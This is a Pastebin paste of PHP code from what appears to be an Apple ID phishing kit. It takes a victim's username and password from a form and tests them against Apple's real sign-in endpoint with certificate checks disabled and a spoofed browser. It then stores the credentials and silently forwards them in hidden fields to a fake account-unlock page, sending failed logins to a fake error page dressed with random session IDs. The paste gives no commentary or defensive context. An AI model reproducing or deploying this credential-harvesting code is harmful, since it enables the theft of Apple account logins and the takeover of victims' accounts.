Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?
- /
- */
- require "session_protect.php";
- require "functions.php";
- require "simplehtmldom.php";
- $v_ip = $_SERVER['REMOTE_ADDR'];
- $username = $_POST['user'];
- $password = $_POST['pass'];
- $url = "https://idmsa.apple.com/IDMSWebAuth/authenticate";
- $cookie = "cookie.txt";
- $postdata = "appleId=".$username."&accountPassword=".$password."&openiForgotInNewWindow=false&fdcBrowserData=&appIdKey=af1139274f266b22b68c2a3e7ad932cb3c0bbe854e13a79af78dcc73136882c3&accNameLocked=false&language=US-EN&path=/signin/?referrer=/account/manage&Env=PROD";
- $ch = curl_init();
- curl_setopt ($ch, CURLOPT_URL, $url);
- curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
- curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6");
- curl_setopt ($ch, CURLOPT_TIMEOUT, 60);
- curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt ($ch, CURLOPT_COOKIEJAR, $cookie);
- curl_setopt($ch, CURLOPT_COOKIESESSION, true);
- curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie);
- curl_setopt ($ch, CURLOPT_REFERER, $url);
- curl_setopt ($ch, CURLOPT_POSTFIELDS, $postdata);
- curl_setopt ch, CURLOPT_POST, 1);
- $result = curl_exec ($ch);
- $html = str_get_html($result);
- if ($html->find('#appleIdURL')) {
- curl_close($ch);
- redirectTo("../../LoginFailed.php?sslchannel=true&sessionid=" . generateRandomString(80));
- die();
- }
- $ret = $html->find('.welcome-user');
- $extr_result = implode(" ",$ret);
- $_SESSION['result'] = $extr_result;
- curl_close($ch);
- $_SESSION['user'] = $_POST['user'];
- $_SESSION['pass'] = $_POST['pass'];
- ?>
- <form action='../locked.php?<?php echo $_SESSION['user'];?>&Account-Unlock&sessionid=<?php echo generateRandomString(115); ?>&securessl=true' method='post' name='frm'>
- <input type="hidden" name="user" value="<?php echo $_SESSION['user'];?>">
- <input type="hidden" name="pass" value="<?php echo $_SESSION['pass'];?>">
- </form>
- <script language="JavaScript">
- document.frm.submit();
- </script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement